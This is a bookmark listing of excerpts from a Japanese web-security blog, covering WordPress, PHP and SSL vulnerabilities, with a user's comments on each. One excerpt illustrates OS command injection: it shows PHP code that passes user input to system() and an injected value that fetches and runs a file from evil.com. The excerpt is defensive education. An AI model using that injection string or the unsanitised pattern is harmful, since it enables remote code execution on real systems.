タグ

ブックマーク / blog.tokumaru.org (12)

  • 安全なWebアプリケーションの作り方改訂のお知らせ

    徳丸こと、「体系的に学ぶ 安全なWebアプリケーションの作り方」は、2011年3月の発売以降大変多くの方に読んでいただきました。ありがとうございます。 ただ、発売から既に7年が経過し、内容が古くなってきた感は否めません。たとえば、クリックジャッキングの説明はほとんどないですし、OWASP Top 10 2017で選入された安全でないデシリアライゼーションやXXEの説明もありません。なにより、Web APIJavaScriptセキュリティ等がほとんど書かれていないことが課題となっていました。 そこで、版元のSBクリエイティブと相談して、この度改訂することにいたしました。3月末脱稿、6月頃発売の見込みです。 改訂にあたり、以下を考えています。 Web APIJavaScriptに関する説明を4章に追加 XHR2対応に向けてCORSの説明を3章に追加 携帯電話の章は丸ごと削除して、別の内

    Haaaa_N
    Haaaa_N 2018/03/06
    キャッチアップしないといけないかなあ
  • WordPress 4.7.1 の権限昇格脆弱性について検証した

    エグゼクティブサマリ WordPress 4.7と4.7.1のREST APIに、認証を回避してコンテンツを書き換えられる脆弱性が存在する。攻撃は極めて容易で、その影響は任意コンテンツの書き換えであるため、重大な結果を及ぼす。対策はWordPressの最新版にバージョンアップすることである。 稿では、脆弱性混入の原因について報告する。 はじめに WordPress体に久しぶりに重大な脆弱性が見つかったと発表されました。 こんな風に書くと、WordPressの脆弱性なんてしょっちゅう見つかっているという意見もありそうですが、能動的かつ認証なしに、侵入できる脆弱性はここ数年出ていないように思います。そういうクラスのものが久しぶりに見つかったということですね。 WordPress、更新版で深刻な脆弱性を修正 安全確保のため情報公開を先送り Make WordPress Core Conten

    WordPress 4.7.1 の権限昇格脆弱性について検証した
    Haaaa_N
    Haaaa_N 2017/02/06
    こういうことがあるからwordpressの独自管理は怖いな、アップデートを毎日チェックできるわけじゃない 動的型付けが悪いって感じがする
  • GodaddyのSSL証明書にドメイン認証の脆弱性があり8850件の証明書が失効された

    エグゼクティブサマリ GoDaddy社の発行するドメイン認証SSL証明書に認証不備の脆弱性があり、予防的な処置として8850件の発行済証明書が失効された。これは同期間に発行された証明書の2%未満である。現在は脆弱性は解消されている。 概要 GoDaddy社は米国のホスティング(レンタルサーバー)やレジストラの大手で、認証局(CA)の事業も手がけています。 GoDaddyが発行するドメイン認証証明書の認証手続きに不備があったとして報告されています。 In a typical process, when a certificate authority, like GoDaddy, validates a domain name for an SSL certificate, they provide a random code to the customer and ask them to p

    GodaddyのSSL証明書にドメイン認証の脆弱性があり8850件の証明書が失効された
    Haaaa_N
    Haaaa_N 2017/01/12
    こんな証明局!こんな!certbotに駆逐されてしまえ!
  • PHPだってシェル経由でないコマンド呼び出し機能が欲しい

    このエントリはPHP Advent Calendar 2013 in Adventar の21日目です。 OSコマンドインジェクションとは OSコマンドインジェクションという脆弱性があります。PHPから外部コマンドを呼んでいる場合に、意図したコマンドとは別のコマンドを外部から指定され、実行されてしまうものです。 下記のように、myprog をパラメータ指定で起動している場合で説明します。$paramはファイル名やメールアドレスなどを想定しています。 $param = $_GET['param']; system("myprog $param"); $paramとして ; wget http://evil.com/bad.php ; php bad.php  を指定されると、system関数で実行するコマンドは下記となります。 myprog ; wget http://evil.com/ba

    Haaaa_N
    Haaaa_N 2016/04/26
    @ockeghem PHPでシェルを使わないコマンド呼び出しが出来ないのは、徳丸さんのブログ記事(2013年) のままなんでしょうか? シェルを使わない形式に置き換えられるなら、systemやexecをまとめて禁止できるのですが
  • PDOのサンプルで数値をバインドする際にintにキャストしている理由

    先日PHPカンファレンス北海道2016にて「『例えば、PHPを避ける』以降PHPはどれだけ安全になったか」と題して基調講演を担当致しました。その際のスライドはこちら。 そうしたところ、以下のご指摘をいただきました。 @ockeghem スライド拝見しました。39番目のスライドですが、バインドのタイミングでintにキャストするのはちょっと例として良くない気がします。意図的にオーバーフローを起こすことで想定外のレコードの取得を許してしまいそうです。キャストしない方がまだ安全だと思うのですが。 SQLデータベースは、int型よりも大きな桁数を扱える場合があるので、intへのキャストを避けた方がよいという指摘は一般論としてはもっともなものだと考えます。PHPの場合、9223372036854775807を越える数字文字列をint型にキャストすると、9223372036854775807が返ります(

    Haaaa_N
    Haaaa_N 2016/04/18
    型不一致エラーが出てくれるライブラリってPHPにあるのかな
  • PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になる

    既にいくつかの記事で指摘がありますが、PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因になります。 しかし、ブログ記事等を見ていると、外部由来の値をunserialize関数に処理させているケースが多くあります。 ユースケースの一例としては、「複数の値をクッキーにセットする方法」として用いる場合です。 PHP クッキーに複数の値を一括登録する方法という記事では、以下の方法で複数の値をクッキーにセットしています。 $status = array( "height" => 167, "weight" => 50, "sight" => 1.2 ); setcookie("status", serialize($status)); クッキーの受け取り側は以下のコードです。 print_r(unserialize($_COOKIE['status'])); 出力結果は以下

    Haaaa_N
    Haaaa_N 2015/10/22
    HaskellのreadもunsafePerformIOや無限再帰があるので人事ではないな
  • ウェブサイトに侵入された大学のリリースに見る侵入対策への誤解

    ここ数日大学等のウェブサイトに対する侵入事件の報道やプレスリリースが続いています。 スケジュール管理ウェブサイトの改ざんについて – 早稲田 サイバー攻撃:徳島大電子会議システムサーバー乗っ取り - 毎日新聞 これらを読んで気になったことがあります。大学側が一定のセキュリティ対策を施していたが、それでも侵入されてしまったような論調だからです。まずは早稲田大学の事例ですが… 3.不正侵入の原因について スケジュール管理サーバにはアンチウィルスソフトウェアをインストールし、最新のパターンファイルを装備していました。しかし、当該サーバのOSのセキュリティパッチは最新のものではなく、また当該サーバに対しファイアウォールによる監視が行えていなかったため、不正侵入を防御できませんでした。現在は、OSのセキュリティパッチを最新のものに更新し、ファイアウォールの監視対象として防御しています。 スケジュール

    Haaaa_N
    Haaaa_N 2015/06/24
    良記事。だが、徳丸さんは前からずっとこれを言ってるのに周知されてないのがつらい
  • 自宅の鍵を定期的に取り替える佐藤君(仮名)の話

    パスワードの定期的変更について元々違和感を持っています。今まで、理詰めでその違和感を解明しようとしてきましたが、それでも私の頭のなかのもやもやをうまく説明できたわけではありません。そこで、パスワードの定期的変更を「自宅の鍵を定期的に変更する比喩」を用いて、そのもやもやを説明したと思います。比喩によって精密な議論ができるとは思っておりませんので、あくまでも主観的な「もやもや」を説明する方便として読んでいただければ幸いです。ここに登場する佐藤は架空の人物です。 徳丸: 佐藤君は自宅の鍵を定期的に取り替えていると聞いたんだけど、当? 佐藤: 当ですよ。毎年に替えています。毎年年末に鍵を取り替えて、安心な気持ちで新年を迎えるんです。徳丸さんは替えてないんですか? 徳丸: 替えないよ。鍵を落としたりしたらまた別だけど、そういうのでもなければ替えないよね。佐藤君はなぜ毎年替えるの? 佐藤: だって

    Haaaa_N
    Haaaa_N 2014/11/11
    比喩で議論出来ないって書いてるだろ!!!!
  • HTTPSを使ってもCookieの改変は防げないことを実験で試してみた

    寺田さんのブログエントリ「他人のCookieを操作する」には、通信路上の攻撃者がいる場合は、SSLを使っても、Cookieの盗聴を防ぐことはできるが、Cookieの改変を防ぐことはできないと指摘されています。いかにも寺田さんらしい簡にして要を得たエントリで、これに付け加えることはあまりないのですが、残念ながらまだ読んでいない人が多そうだと言うことと、より広い読者に向けて具体的に説明した方がよいだろうと考えました。 そこで、通信路上に攻撃者がいる典型例として、公衆無線LANの偽AP(アクセスポイント)があるケースを題材として、「HTTPSを使ってもCookieの改変は防げない」ことを説明します(Secure属性使うと盗聴は防げますが、改変は防げません)。長いエントリなので結論を先に書いておきます。 Secure属性がないCookieはHTTPSでも盗聴できる Cookieの改変についてはSe

    HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
    Haaaa_N
    Haaaa_N 2013/10/01
    公衆WIFIを使う時はCookie機能をオフにしておくべきだ.
  • ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策

    既に報道されているように、ロリポップ!レンタルサーバーに対する改ざん攻撃により、被害を受けたユーザー数は8428件にのぼるということです。ここまで影響が大きくなった原因は、報道によると、(1)「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされた、(2)パーミッション設定の不備を悪用されて被害が拡大した、ということのようです。 29日夜の時点では、攻撃者の改ざん手法について「WordPressのプラグインやテーマの脆弱性を利用」し、不正なファイルがアップロードされて「wp-config.phpの」の設定情報が抜き出されたと説明していたが、30日午後7時過ぎの説明で、この脆弱性が侵入経路となって同社のパーミッション設定の不備を悪用されたことが原因だったことを明らかにした。 「ロリポップ」のWordPressサイト改ざん被害、原因はパーミッション設定不備

    ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
    Haaaa_N
    Haaaa_N 2013/09/02
    おおこわいこわい シンボリックリンク機能は無効にして設定上書き機能もむこうにしよう
  • Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起

    昨日の福井新聞の報道(魚拓)によると、中学生がYahoo!の「秘密の質問と答え」を悪用して同級生のYahoo!アカウントにログイン成功し、不正アクセス禁止法などの疑いで書類送検されたようです。 同課によると、同級生との間には当時トラブルがあり、男子生徒は「自分の悪口をメールに書いているのではないか」と考え、盗み見たという。 男子生徒は、パスワードを再設定しようと「秘密の質問」のペットの名前に何度か答え、合致しパスワードを変更した。 ログインできなくなった同級生がパスワードを変更し直したが、男子生徒は再びパスワードを変更したという。同級生が「身に覚えのないログインがある」と警察に相談し、容疑が明らかになった。 不正アクセスで県内中学生を初摘発 容疑で県警、同級生のメール盗み見 より引用(赤字は引用者) 後述するように、Yahoo!の「秘密の質問と答え」を知っていると強大な権限が与えられたこと

    Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
    Haaaa_N
    Haaaa_N 2013/06/20
    変更できないのが意味不明
  • Tポイントツールバーを導入するとSSL通信の履歴までもが盗聴可能になる

    twitterなどでTポイントツールバーの利用規約が話題になっています。このエントリでは、Tポイントツールバーを実際に導入して気づいた点を報告します。結論として、当該ツールバーを導入すると、利用者のアクセス履歴(SSL含む)が平文で送信され、盗聴可能な状態になります。 追記(2012/08/10 20:10) たくさんの方に読んでいただき、ありがとうございます。一部に誤解があるようですが、ツールバーが送信している内容はURLだけで、Cookieやレスポンスまでも送信しているわけではありません。URLを送信するだけでも、以下に示す危険性があるということです。 追記終わり 追記(2012/08/13 23:50) ポイントツールバーにバージョンアップがあり、WEB閲覧履歴の送信がSSL通信に変更されました。従って、WEB閲覧履歴が盗聴可能な状況は回避されました。日22:50頃確認しました。

    Tポイントツールバーを導入するとSSL通信の履歴までもが盗聴可能になる
    Haaaa_N
    Haaaa_N 2012/08/10
    まあどうせ平文だとは思いましたよ
  • 1